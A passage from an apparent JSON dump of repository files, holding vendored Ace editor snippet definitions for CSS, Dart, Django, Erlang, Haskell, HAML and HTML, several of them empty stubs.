rz:h\\n\tresize: horizontal;\\nsnippet rz:n\\n\tresize: none;\\nsnippet rz:v\\n\tresize: vertical;\\nsnippet r\\n\tright: ${1};\\nsnippet r:a\\n\tright: auto;\\nsnippet tbl\\n\ttable-layout: ${1};\\nsnippet tbl:a\\n\ttable-layout: auto;\\nsnippet tbl:f\\n\ttable-layout: fixed;\\nsnippet tal\\n\ttext-align-last: ${1};\\nsnippet tal:a\\n\ttext-align-last: auto;\\nsnippet tal:c\\n\ttext-align-last: center;\\nsnippet tal:l\\n\ttext-align-last: left;\\nsnippet tal:r\\n\ttext-align-last: right;\\nsnippet ta\\n\ttext-align: ${1};\\nsnippet ta:c\\n\ttext-align: center;\\nsnippet ta:l\\n\ttext-align: left;\\nsnippet ta:r\\n\ttext-align: right;\\nsnippet td\\n\ttext-decoration: ${1};\\nsnippet td:l\\n\ttext-decoration: line-through;\\nsnippet td:n\\n\ttext-decoration: none;\\nsnippet td:o\\n\ttext-decoration: overline;\\nsnippet td:u\\n\ttext-decoration: underline;\\nsnippet te\\n\ttext-emphasis: ${1};\\nsnippet te:ac\\n\ttext-emphasis: accent;\\nsnippet te:a\\n\ttext-emphasis: after;\\nsnippet te:b\\n\ttext-emphasis: before;\\nsnippet te:c\\n\ttext-emphasis: circle;\\nsnippet te:ds\\n\ttext-emphasis: disc;\\nsnippet te:dt\\n\ttext-emphasis: dot;\\nsnippet te:n\\n\ttext-emphasis: none;\\nsnippet th\\n\ttext-height: ${1};\\nsnippet th:a\\n\ttext-height: auto;\\nsnippet th:f\\n\ttext-height: font-size;\\nsnippet th:m\\n\ttext-height: max-size;\\nsnippet th:t\\n\ttext-height: text-size;\\nsnippet ti\\n\ttext-indent: ${1};\\nsnippet ti:-\\n\ttext-indent: -9999px;\\nsnippet tj\\n\ttext-justify: ${1};\\nsnippet tj:a\\n\ttext-justify: auto;\\nsnippet tj:d\\n\ttext-justify: distribute;\\nsnippet tj:ic\\n\ttext-justify: inter-cluster;\\nsnippet tj:ii\\n\ttext-justify: inter-ideograph;\\nsnippet tj:iw\\n\ttext-justify: inter-word;\\nsnippet tj:k\\n\ttext-justify: kashida;\\nsnippet tj:t\\n\ttext-justify: tibetan;\\nsnippet to+\\n\ttext-outline: ${1:0} ${2:0} #${3:000};\\nsnippet to\\n\ttext-outline: ${1};\\nsnippet to:n\\n\ttext-outline: none;\\nsnippet tr\\n\ttext-replace: ${1};\\nsnippet tr:n\\n\ttext-replace: none;\\nsnippet tsh+\\n\ttext-shadow: ${1:0} ${2:0} ${3:0} #${4:000};\\nsnippet tsh\\n\ttext-shadow: ${1};\\nsnippet tsh:n\\n\ttext-shadow: none;\\nsnippet tt\\n\ttext-transform: ${1};\\nsnippet tt:c\\n\ttext-transform: capitalize;\\nsnippet tt:l\\n\ttext-transform: lowercase;\\nsnippet tt:n\\n\ttext-transform: none;\\nsnippet tt:u\\n\ttext-transform: uppercase;\\nsnippet tw\\n\ttext-wrap: ${1};\\nsnippet tw:no\\n\ttext-wrap: none;\\nsnippet tw:n\\n\ttext-wrap: normal;\\nsnippet tw:s\\n\ttext-wrap: suppress;\\nsnippet tw:u\\n\ttext-wrap: unrestricted;\\nsnippet t\\n\ttop: ${1};\\nsnippet t:a\\n\ttop: auto;\\nsnippet va\\n\tvertical-align: ${1};\\nsnippet va:bl\\n\tvertical-align: baseline;\\nsnippet va:b\\n\tvertical-align: bottom;\\nsnippet va:m\\n\tvertical-align: middle;\\nsnippet va:sub\\n\tvertical-align: sub;\\nsnippet va:sup\\n\tvertical-align: super;\\nsnippet va:tb\\n\tvertical-align: text-bottom;\\nsnippet va:tt\\n\tvertical-align: text-top;\\nsnippet va:t\\n\tvertical-align: top;\\nsnippet v\\n\tvisibility: ${1};\\nsnippet v:c\\n\tvisibility: collapse;\\nsnippet v:h\\n\tvisibility: hidden;\\nsnippet v:v\\n\tvisibility: visible;\\nsnippet whsc\\n\twhite-space-collapse: ${1};\\nsnippet whsc:ba\\n\twhite-space-collapse: break-all;\\nsnippet whsc:bs\\n\twhite-space-collapse: break-strict;\\nsnippet whsc:k\\n\twhite-space-collapse: keep-all;\\nsnippet whsc:l\\n\twhite-space-collapse: loose;\\nsnippet whsc:n\\n\twhite-space-collapse: normal;\\nsnippet whs\\n\twhite-space: ${1};\\nsnippet whs:n\\n\twhite-space: normal;\\nsnippet whs:nw\\n\twhite-space: nowrap;\\nsnippet whs:pl\\n\twhite-space: pre-line;\\nsnippet whs:pw\\n\twhite-space: pre-wrap;\\nsnippet whs:p\\n\twhite-space: pre;\\nsnippet wid\\n\twidows: ${1};\\nsnippet w\\n\twidth: ${1};\\nsnippet w:a\\n\twidth: auto;\\nsnippet wob\\n\tword-break: ${1};\\nsnippet wob:ba\\n\tword-break: break-all;\\nsnippet wob:bs\\n\tword-break: break-strict;\\nsnippet wob:k\\n\tword-break: keep-all;\\nsnippet wob:l\\n\tword-break: loose;\\nsnippet wob:n\\n\tword-break: normal;\\nsnippet wos\\n\tword-spacing: ${1};\\nsnippet wow\\n\tword-wrap: ${1};\\nsnippet wow:no\\n\tword-wrap: none;\\nsnippet wow:n\\n\tword-wrap: normal;\\nsnippet wow:s\\n\tword-wrap: suppress;\\nsnippet wow:u\\n\tword-wrap: unrestricted;\\nsnippet z\\n\tz-index: ${1};\\nsnippet z:a\\n\tz-index: auto;\\nsnippet zoo\\n\tzoom: 1;\\n\",t.scope=\"css\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/curly.js",
    "content": "ace.define(\"ace/snippets/curly\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"curly\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/d.js",
    "content": "ace.define(\"ace/snippets/d\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"d\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/dart.js",
    "content": "ace.define(\"ace/snippets/dart\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet lib\\n\tlibrary ${1};\\n\t${2}\\nsnippet im\\n\timport '${1}';\\n\t${2}\\nsnippet pa\\n\tpart '${1}';\\n\t${2}\\nsnippet pao\\n\tpart of ${1};\\n\t${2}\\nsnippet main\\n\tvoid main() {\\n\t  ${1:/* code */}\\n\t}\\nsnippet st\\n\tstatic ${1}\\nsnippet fi\\n\tfinal ${1}\\nsnippet re\\n\treturn ${1}\\nsnippet br\\n\tbreak;\\nsnippet th\\n\tthrow ${1}\\nsnippet cl\\n\tclass ${1:`Filename(\\\"\\\", \\\"untitled\\\")`} ${2}\\nsnippet imp\\n\timplements ${1}\\nsnippet ext\\n\textends ${1}\\nsnippet if\\n\tif (${1:true}) {\\n\t  ${2}\\n\t}\\nsnippet ife\\n\tif (${1:true}) {\\n\t  ${2}\\n\t} else {\\n\t  ${3}\\n\t}\\nsnippet el\\n\telse\\nsnippet sw\\n\tswitch (${1}) {\\n\t  ${2}\\n\t}\\nsnippet cs\\n\tcase ${1}:\\n\t  ${2}\\nsnippet de\\n\tdefault:\\n\t  ${1}\\nsnippet for\\n\tfor (var ${2:i} = 0, len = ${1:things}.length; $2 < len; ${3:++}$2) {\\n\t  ${4:$1[$2]}\\n\t}\\nsnippet fore\\n\tfor (final ${2:item} in ${1:itemList}) {\\n\t  ${3:/* code */}\\n\t}\\nsnippet wh\\n\twhile (${1:/* condition */}) {\\n\t  ${2:/* code */}\\n\t}\\nsnippet dowh\\n\tdo {\\n\t  ${2:/* code */}\\n\t} while (${1:/* condition */});\\nsnippet as\\n\tassert(${1:/* condition */});\\nsnippet try\\n\ttry {\\n\t  ${2}\\n\t} catch (${1:Exception e}) {\\n\t}\\nsnippet tryf\\n\ttry {\\n\t  ${2}\\n\t} catch (${1:Exception e}) {\\n\t} finally {\\n\t}\\n\",t.scope=\"dart\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/diff.js",
    "content": "ace.define(\"ace/snippets/diff\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# DEP-3 (http://dep.debian.net/deps/dep3/) style patch header\\nsnippet header DEP-3 style header\\n\tDescription: ${1}\\n\tOrigin: ${2:vendor|upstream|other}, ${3:url of the original patch}\\n\tBug: ${4:url in upstream bugtracker}\\n\tForwarded: ${5:no|not-needed|url}\\n\tAuthor: ${6:`g:snips_author`}\\n\tReviewed-by: ${7:name and email}\\n\tLast-Update: ${8:`strftime(\"%Y-%m-%d\")`}\\n\tApplied-Upstream: ${9:upstream version|url|commit}\\n\\n',t.scope=\"diff\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/django.js",
    "content": "ace.define(\"ace/snippets/django\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# Model Fields\\n\\n# Note: Optional arguments are using defaults that match what Django will use\\n# as a default, e.g. with max_length fields.  Doing this as a form of self\\n# documentation and to make it easy to know whether you should override the\\n# default or not.\\n\\n# Note: Optional arguments that are booleans will use the opposite since you\\n# can either not specify them, or override them, e.g. auto_now_add=False.\\n\\nsnippet auto\\n\t${1:FIELDNAME} = models.AutoField(${2})\\nsnippet bool\\n\t${1:FIELDNAME} = models.BooleanField(${2:default=True})\\nsnippet char\\n\t${1:FIELDNAME} = models.CharField(max_length=${2}${3:, blank=True})\\nsnippet comma\\n\t${1:FIELDNAME} = models.CommaSeparatedIntegerField(max_length=${2}${3:, blank=True})\\nsnippet date\\n\t${1:FIELDNAME} = models.DateField(${2:auto_now_add=True, auto_now=True}${3:, blank=True, null=True})\\nsnippet datetime\\n\t${1:FIELDNAME} = models.DateTimeField(${2:auto_now_add=True, auto_now=True}${3:, blank=True, null=True})\\nsnippet decimal\\n\t${1:FIELDNAME} = models.DecimalField(max_digits=${2}, decimal_places=${3})\\nsnippet email\\n\t${1:FIELDNAME} = models.EmailField(max_length=${2:75}${3:, blank=True})\\nsnippet file\\n\t${1:FIELDNAME} = models.FileField(upload_to=${2:path/for/upload}${3:, max_length=100})\\nsnippet filepath\\n\t${1:FIELDNAME} = models.FilePathField(path=${2:\\\"/abs/path/to/dir\\\"}${3:, max_length=100}${4:, match=\\\"*.ext\\\"}${5:, recursive=True}${6:, blank=True, })\\nsnippet float\\n\t${1:FIELDNAME} = models.FloatField(${2})\\nsnippet image\\n\t${1:FIELDNAME} = models.ImageField(upload_to=${2:path/for/upload}${3:, height_field=height, width_field=width}${4:, max_length=100})\\nsnippet int\\n\t${1:FIELDNAME} = models.IntegerField(${2})\\nsnippet ip\\n\t${1:FIELDNAME} = models.IPAddressField(${2})\\nsnippet nullbool\\n\t${1:FIELDNAME} = models.NullBooleanField(${2})\\nsnippet posint\\n\t${1:FIELDNAME} = models.PositiveIntegerField(${2})\\nsnippet possmallint\\n\t${1:FIELDNAME} = models.PositiveSmallIntegerField(${2})\\nsnippet slug\\n\t${1:FIELDNAME} = models.SlugField(max_length=${2:50}${3:, blank=True})\\nsnippet smallint\\n\t${1:FIELDNAME} = models.SmallIntegerField(${2})\\nsnippet text\\n\t${1:FIELDNAME} = models.TextField(${2:blank=True})\\nsnippet time\\n\t${1:FIELDNAME} = models.TimeField(${2:auto_now_add=True, auto_now=True}${3:, blank=True, null=True})\\nsnippet url\\n\t${1:FIELDNAME} = models.URLField(${2:verify_exists=False}${3:, max_length=200}${4:, blank=True})\\nsnippet xml\\n\t${1:FIELDNAME} = models.XMLField(schema_path=${2:None}${3:, blank=True})\\n# Relational Fields\\nsnippet fk\\n\t${1:FIELDNAME} = models.ForeignKey(${2:OtherModel}${3:, related_name=''}${4:, limit_choices_to=}${5:, to_field=''})\\nsnippet m2m\\n\t${1:FIELDNAME} = models.ManyToManyField(${2:OtherModel}${3:, related_name=''}${4:, limit_choices_to=}${5:, symmetrical=False}${6:, through=''}${7:, db_table=''})\\nsnippet o2o\\n\t${1:FIELDNAME} = models.OneToOneField(${2:OtherModel}${3:, parent_link=True}${4:, related_name=''}${5:, limit_choices_to=}${6:, to_field=''})\\n\\n# Code Skeletons\\n\\nsnippet form\\n\tclass ${1:FormName}(forms.Form):\\n\t\t\\\"\\\"\\\"${2:docstring}\\\"\\\"\\\"\\n\t\t${3}\\n\\nsnippet model\\n\tclass ${1:ModelName}(models.Model):\\n\t\t\\\"\\\"\\\"${2:docstring}\\\"\\\"\\\"\\n\t\t${3}\\n\t\t\\n\t\tclass Meta:\\n\t\t\t${4}\\n\t\t\\n\t\tdef __unicode__(self):\\n\t\t\t${5}\\n\t\t\\n\t\tdef save(self, force_insert=False, force_update=False):\\n\t\t\t${6}\\n\t\t\\n\t\t@models.permalink\\n\t\tdef get_absolute_url(self):\\n\t\t\treturn ('${7:view_or_url_name}' ${8})\\n\\nsnippet modeladmin\\n\tclass ${1:ModelName}Admin(admin.ModelAdmin):\\n\t\t${2}\\n\t\\n\tadmin.site.register($1, $1Admin)\\n\t\\nsnippet tabularinline\\n\tclass ${1:ModelName}Inline(admin.TabularInline):\\n\t\tmodel = $1\\n\\nsnippet stackedinline\\n\tclass ${1:ModelName}Inline(admin.StackedInline):\\n\t\tmodel = $1\\n\\nsnippet r2r\\n\treturn render_to_response('${1:template.html}', {\\n\t\t\t${2}\\n\t\t}${3:, context_instance=RequestContext(request)}\\n\t)\\n\",t.scope=\"django\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/dockerfile.js",
    "content": "ace.define(\"ace/snippets/dockerfile\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"dockerfile\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/dot.js",
    "content": "ace.define(\"ace/snippets/dot\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"dot\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/eiffel.js",
    "content": "ace.define(\"ace/snippets/eiffel\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"eiffel\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/ejs.js",
    "content": "ace.define(\"ace/snippets/ejs\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ejs\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/elixir.js",
    "content": "ace.define(\"ace/snippets/elixir\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/elm.js",
    "content": "ace.define(\"ace/snippets/elm\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"elm\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/erlang.js",
    "content": "ace.define(\"ace/snippets/erlang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# module and export all\\nsnippet mod\\n\t-module(${1:`Filename('', 'my')`}).\\n\t\\n\t-compile([export_all]).\\n\t\\n\tstart() ->\\n\t    ${2}\\n\t\\n\tstop() ->\\n\t    ok.\\n# define directive\\nsnippet def\\n\t-ace.define(${1:macro}, ${2:body}).${3}\\n# export directive\\nsnippet exp\\n\t-export([${1:function}/${2:arity}]).\\n# include directive\\nsnippet inc\\n\t-include(\\\"${1:file}\\\").${2}\\n# behavior directive\\nsnippet beh\\n\t-behaviour(${1:behaviour}).${2}\\n# if expression\\nsnippet if\\n\tif\\n\t    ${1:guard} ->\\n\t        ${2:body}\\n\tend\\n# case expression\\nsnippet case\\n\tcase ${1:expression} of\\n\t    ${2:pattern} ->\\n\t        ${3:body};\\n\tend\\n# anonymous function\\nsnippet fun\\n\tfun (${1:Parameters}) -> ${2:body} end${3}\\n# try...catch\\nsnippet try\\n\ttry\\n\t    ${1}\\n\tcatch\\n\t    ${2:_:_} -> ${3:got_some_exception}\\n\tend\\n# record directive\\nsnippet rec\\n\t-record(${1:record}, {\\n\t    ${2:field}=${3:value}}).${4}\\n# todo comment\\nsnippet todo\\n\t%% TODO: ${1}\\n## Snippets below (starting with '%') are in EDoc format.\\n## See http://www.erlang.org/doc/apps/edoc/chapter.html#id56887 for more details\\n# doc comment\\nsnippet %d\\n\t%% @doc ${1}\\n# end of doc comment\\nsnippet %e\\n\t%% @end\\n# specification comment\\nsnippet %s\\n\t%% @spec ${1}\\n# private function marker\\nsnippet %p\\n\t%% @private\\n# OTP application\\nsnippet application\\n\t-module(${1:`Filename('', 'my')`}).\\n\\n\t-behaviour(application).\\n\\n\t-export([start/2, stop/1]).\\n\\n\tstart(_Type, _StartArgs) ->\\n\t    case ${2:root_supervisor}:start_link() of\\n\t        {ok, Pid} ->\\n\t            {ok, Pid};\\n\t        Other ->\\n\t\t          {error, Other}\\n\t    end.\\n\\n\tstop(_State) ->\\n\t    ok.\t\\n# OTP supervisor\\nsnippet supervisor\\n\t-module(${1:`Filename('', 'my')`}).\\n\\n\t-behaviour(supervisor).\\n\\n\t%% API\\n\t-export([start_link/0]).\\n\\n\t%% Supervisor callbacks\\n\t-export([init/1]).\\n\\n\t-ace.define(SERVER, ?MODULE).\\n\\n\tstart_link() ->\\n\t    supervisor:start_link({local, ?SERVER}, ?MODULE, []).\\n\\n\tinit([]) ->\\n\t    Server = {${2:my_server}, {$2, start_link, []},\\n\t      permanent, 2000, worker, [$2]},\\n\t    Children = [Server],\\n\t    RestartStrategy = {one_for_one, 0, 1},\\n\t    {ok, {RestartStrategy, Children}}.\\n# OTP gen_server\\nsnippet gen_server\\n\t-module(${1:`Filename('', 'my')`}).\\n\\n\t-behaviour(gen_server).\\n\\n\t%% API\\n\t-export([\\n\t         start_link/0\\n\t        ]).\\n\\n\t%% gen_server callbacks\\n\t-export([init/1, handle_call/3, handle_cast/2, handle_info/2,\\n\t         terminate/2, code_change/3]).\\n\\n\t-ace.define(SERVER, ?MODULE).\\n\\n\t-record(state, {}).\\n\\n\t%%%===================================================================\\n\t%%% API\\n\t%%%===================================================================\\n\\n\tstart_link() ->\\n\t    gen_server:start_link({local, ?SERVER}, ?MODULE, [], []).\\n\\n\t%%%===================================================================\\n\t%%% gen_server callbacks\\n\t%%%===================================================================\\n\\n\tinit([]) ->\\n\t    {ok, #state{}}.\\n\\n\thandle_call(_Request, _From, State) ->\\n\t    Reply = ok,\\n\t    {reply, Reply, State}.\\n\\n\thandle_cast(_Msg, State) ->\\n\t    {noreply, State}.\\n\\n\thandle_info(_Info, State) ->\\n\t    {noreply, State}.\\n\\n\tterminate(_Reason, _State) ->\\n\t    ok.\\n\\n\tcode_change(_OldVsn, State, _Extra) ->\\n\t    {ok, State}.\\n\\n\t%%%===================================================================\\n\t%%% Internal functions\\n\t%%%===================================================================\\n\\n\",t.scope=\"erlang\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/forth.js",
    "content": "ace.define(\"ace/snippets/forth\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"forth\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/ftl.js",
    "content": "ace.define(\"ace/snippets/ftl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"ftl\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/gcode.js",
    "content": "ace.define(\"ace/snippets/gcode\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"gcode\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/gherkin.js",
    "content": "ace.define(\"ace/snippets/gherkin\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"gherkin\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/gitignore.js",
    "content": "ace.define(\"ace/snippets/gitignore\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"gitignore\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/glsl.js",
    "content": "ace.define(\"ace/snippets/glsl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"glsl\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/golang.js",
    "content": "ace.define(\"ace/snippets/golang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"golang\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/groovy.js",
    "content": "ace.define(\"ace/snippets/groovy\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"groovy\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/haml.js",
    "content": "ace.define(\"ace/snippets/haml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet t\\n\t%table\\n\t\t%tr\\n\t\t\t%th\\n\t\t\t\t${1:headers}\\n\t\t%tr\\n\t\t\t%td\\n\t\t\t\t${2:headers}\\nsnippet ul\\n\t%ul\\n\t\t%li\\n\t\t\t${1:item}\\n\t\t%li\\nsnippet =rp\\n\t= render :partial => '${1:partial}'\\nsnippet =rpl\\n\t= render :partial => '${1:partial}', :locals => {}\\nsnippet =rpc\\n\t= render :partial => '${1:partial}', :collection => @$1\\n\\n\",t.scope=\"haml\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/handlebars.js",
    "content": "ace.define(\"ace/snippets/handlebars\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"handlebars\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/haskell.js",
    "content": "ace.define(\"ace/snippets/haskell\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet lang\\n\t{-# LANGUAGE ${1:OverloadedStrings} #-}\\nsnippet info\\n\t-- |\\n\t-- Module      :  ${1:Module.Namespace}\\n\t-- Copyright   :  ${2:Author} ${3:2011-2012}\\n\t-- License     :  ${4:BSD3}\\n\t--\\n\t-- Maintainer  :  ${5:email@something.com}\\n\t-- Stability   :  ${6:experimental}\\n\t-- Portability :  ${7:unknown}\\n\t--\\n\t-- ${8:Description}\\n\t--\\nsnippet import\\n\timport           ${1:Data.Text}\\nsnippet import2\\n\timport           ${1:Data.Text} (${2:head})\\nsnippet importq\\n\timport qualified ${1:Data.Text} as ${2:T}\\nsnippet inst\\n\tinstance ${1:Monoid} ${2:Type} where\\n\t\t${3}\\nsnippet type\\n\ttype ${1:Type} = ${2:Type}\\nsnippet data\\n\tdata ${1:Type} = ${2:$1} ${3:Int}\\nsnippet newtype\\n\tnewtype ${1:Type} = ${2:$1} ${3:Int}\\nsnippet class\\n\tclass ${1:Class} a where\\n\t\t${2}\\nsnippet module\\n\tmodule `substitute(substitute(expand('%:r'), '[/\\\\\\\\]','.','g'),'^\\\\%(\\\\l*\\\\.\\\\)\\\\?','','')` (\\n\t)\twhere\\n\t`expand('%') =~ 'Main' ? \\\"\\\\n\\\\nmain = do\\\\n  print \\\\\\\"hello world\\\\\\\"\\\" : \\\"\\\"`\\n\\nsnippet const\\n\t${1:name} :: ${2:a}\\n\t$1 = ${3:undefined}\\nsnippet fn\\n\t${1:fn} :: ${2:a} -> ${3:a}\\n\t$1 ${4} = ${5:undefined}\\nsnippet fn2\\n\t${1:fn} :: ${2:a} -> ${3:a} -> ${4:a}\\n\t$1 ${5} = ${6:undefined}\\nsnippet ap\\n\t${1:map} ${2:fn} ${3:list}\\nsnippet do\\n\tdo\\n\t\t\\nsnippet \\u03bb\\n\t\\\\${1:x} -> ${2}\\nsnippet \\\\\\n\t\\\\${1:x} -> ${2}\\nsnippet <-\\n\t${1:a} <- ${2:m a}\\nsnippet \\u2190\\n\t${1:a} <- ${2:m a}\\nsnippet ->\\n\t${1:m a} -> ${2:a}\\nsnippet \\u2192\\n\t${1:m a} -> ${2:a}\\nsnippet tup\\n\t(${1:a}, ${2:b})\\nsnippet tup2\\n\t(${1:a}, ${2:b}, ${3:c})\\nsnippet tup3\\n\t(${1:a}, ${2:b}, ${3:c}, ${4:d})\\nsnippet rec\\n\t${1:Record} { ${2:recFieldA} = ${3:undefined}\\n\t\t\t\t, ${4:recFieldB} = ${5:undefined}\\n\t\t\t\t}\\nsnippet case\\n\tcase ${1:something} of\\n\t\t${2} -> ${3}\\nsnippet let\\n\tlet ${1} = ${2}\\n\tin ${3}\\nsnippet where\\n\twhere\\n\t\t${1:fn} = ${2:undefined}\\n\",t.scope=\"haskell\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/haxe.js",
    "content": "ace.define(\"ace/snippets/haxe\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"haxe\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/html.js",
    "content": "ace.define(\"ace/snippets/html\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Some useful Unicode entities\\n# Non-Breaking Space\\nsnippet nbs\\n\t&nbsp;\\n# \\u2190\\nsnippet left\\n\t&#x2190;\\n# \\u2192\\nsnippet right\\n\t&#x2192;\\n# \\u2191\\nsnippet up\\n\t&#x2191;\\n# \\u2193\\nsnippet down\\n\t&#x2193;\\n# \\u21a9\\nsnippet return\\n\t&#x21A9;\\n# \\u21e4\\nsnippet backtab\\n\t&#x21E4;\\n# \\u21e5\\nsnippet tab\\n\t&#x21E5;\\n# \\u21e7\\nsnippet shift\\n\t&#x21E7;\\n# \\u2303\\nsnippet ctrl\\n\t&#x2303;\\n# \\u2305\\nsnippet enter\\n\t&#x2305;\\n# \\u2318\\nsnippet cmd\\n\t&#x2318;\\n# \\u2325\\nsnippet option\\n\t&#x2325;\\n# \\u2326\\nsnippet delete\\n\t&#x2326;\\n# \\u232b\\nsnippet backspace\\n\t&#x232B;\\n# \\u238b\\nsnippet esc\\n\t&#x238B;\\n# Generic Doctype\\nsnippet doctype HTML 4.01 Strict\\n\t<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\\n\t\"http://www.w3.org/TR/html4/strict.dtd\">\\nsnippet doctype HTML 4.01 Transitional\\n\t<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\\n\t\"http://www.w3.org/TR/html4/loose.dtd\">\\nsnippet doctype HTML 5\\n\t<!DOCTYPE HTML>\\nsnippet doctype XHTML 1.0 Frameset\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\\nsnippet doctype XHTML 1.0 Strict\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\\nsnippet doctype XHTML 1.0 Transitional\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\\nsnippet doctype XHTML 1.1\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\"\\n\t\"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\\n# HTML Doctype 4.01 Strict\\nsnippet docts\\n\t<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\\n\t\"http://www.w3.org/TR/html4/strict.dtd\">\\n# HTML Doctype 4.01 Transitional\\nsnippet doct\\n\t<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\\n\t\"http://www.w3.org/TR/html4/loose.dtd\">\\n# HTML Doctype 5\\nsnippet doct5\\n\t<!DOCTYPE HTML>\\n# XHTML Doctype 1.0 Frameset\\nsnippet docxf\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Frameset//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd\">\\n# XHTML Doctype 1.0 Strict\\nsnippet docxs\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\\n# XHTML Doctype 1.0 Transitional\\nsnippet docxt\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\\n\t\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\\n# XHTML Doctype 1.1\\nsnippet docx\\n\t<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\"\\n\t\"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\\n# Attributes\\nsnippet attr\\n\t${1:attribute}=\"${2:property}\"\\nsnippet attr+\\n\t${1:attribute}=\"${2:property}\" attr+${3}\\nsnippet .\\n\tclass=\"${1}\"${2}\\nsnippet #\\n\tid=\"${1}\"${2}\\nsnippet alt\\n\talt=\"${1}\"${2}\\nsnippet charset\\n\tcharset=\"${1:utf-8}\"${2}\\nsnippet data\\n\tdata-${1}=\"${2:$1}\"${3}\\nsnippet for\\n\tfor=\"${1}\"${2}\\nsnippet height\\n\theight=\"${1}\"${2}\\nsnippet href\\n\thref=\"${1:#}\"${2}\\nsnippet lang\\n\tlang=\"${1:en}\"${2}\\nsnippet media\\n\tmedia=\"${1}\"${2}\\nsnippet name\\n\tname=\"${1}\"${2}\\nsnippet rel\\n\trel=\"${1}\"${2}\\nsnippet scope\\n\tscope=\"${1:row}\"${2}\\nsnippet src\\n\tsrc=\"${1}\"${2}\\nsnippet 